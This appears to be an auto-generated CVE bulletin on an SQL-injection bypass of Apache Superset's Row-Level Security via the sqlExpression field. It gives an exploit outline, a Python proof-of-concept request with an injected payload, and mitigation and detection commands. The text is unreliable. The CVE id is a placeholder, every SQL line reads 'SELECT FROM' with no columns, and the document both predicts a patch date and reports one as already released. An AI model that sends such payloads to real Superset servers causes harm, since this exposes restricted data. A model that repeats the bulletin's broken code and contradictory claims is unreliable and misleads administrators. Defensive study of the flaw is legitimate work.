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How the CVE Works
The vulnerability (CVE-2025-XXXXX) in Apache Superset allows an authenticated attacker to bypass Row-Level Security (RLS) by injecting malicious SQL into the `sqlExpression` field. Superset’s RLS relies on SQL expressions to enforce data access restrictions, but improper input validation enables attackers to craft sub-queries that evade security checks. By manipulating these expressions, an attacker can execute arbitrary SQL, exposing restricted data. The flaw stems from insufficient sanitization of user-supplied SQL before execution in backend queries.
DailyCVE Form
Platform: Apache Superset
Version: < 4.1.2
Vulnerability: SQL Injection
Severity: High
Date: May 30, 2025
Prediction: Patch expected by June 15, 2025
What Undercode Say:
Exploitation Analysis
1. Exploit Vector:
- Attacker authenticates into Superset.
- Modifies `sqlExpression` in RLS rules via API or UI.
- Injects malicious SQL (e.g.,
1=1; SELECT FROM sensitive_data). - Bypasses RLS filters, accessing unauthorized data.
2. Proof of Concept (PoC):
import requests
target = "http://superset.target/api/security/rowlevel"
payload = {"sqlExpression": "1=1; SELECT FROM secrets"}
headers = {"Authorization": "Bearer <VALID_TOKEN>"}
response = requests.post(target, json=payload, headers=headers)
print(response.text)
Protection Measures
1. Immediate Mitigation:
- Disable RLS if unused.
- Apply WAF rules blocking SQL keywords in
sqlExpression.
2. Permanent Fix:
- Upgrade to Superset 4.1.2.
- Sanitize inputs using parameterized queries:
from sqlalchemy import text query = text("SELECT FROM table WHERE id = :id").bindparams(id=user_input)
3. Detection Commands:
- Log Analysis:
grep "sqlExpression.SELECT" /var/log/superset/access.log
- Database Audit:
SELECT FROM pg_stat_activity WHERE query LIKE '%sqlExpression%';
4. Post-Patch Verification:
- Test RLS rules with malicious inputs.
- Monitor for unusual query patterns.
Impact: Data exfiltration, privilege escalation.
Affected Configs: Superset instances with RLS enabled.
Patch Status: Confirmed in v4.1.2.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
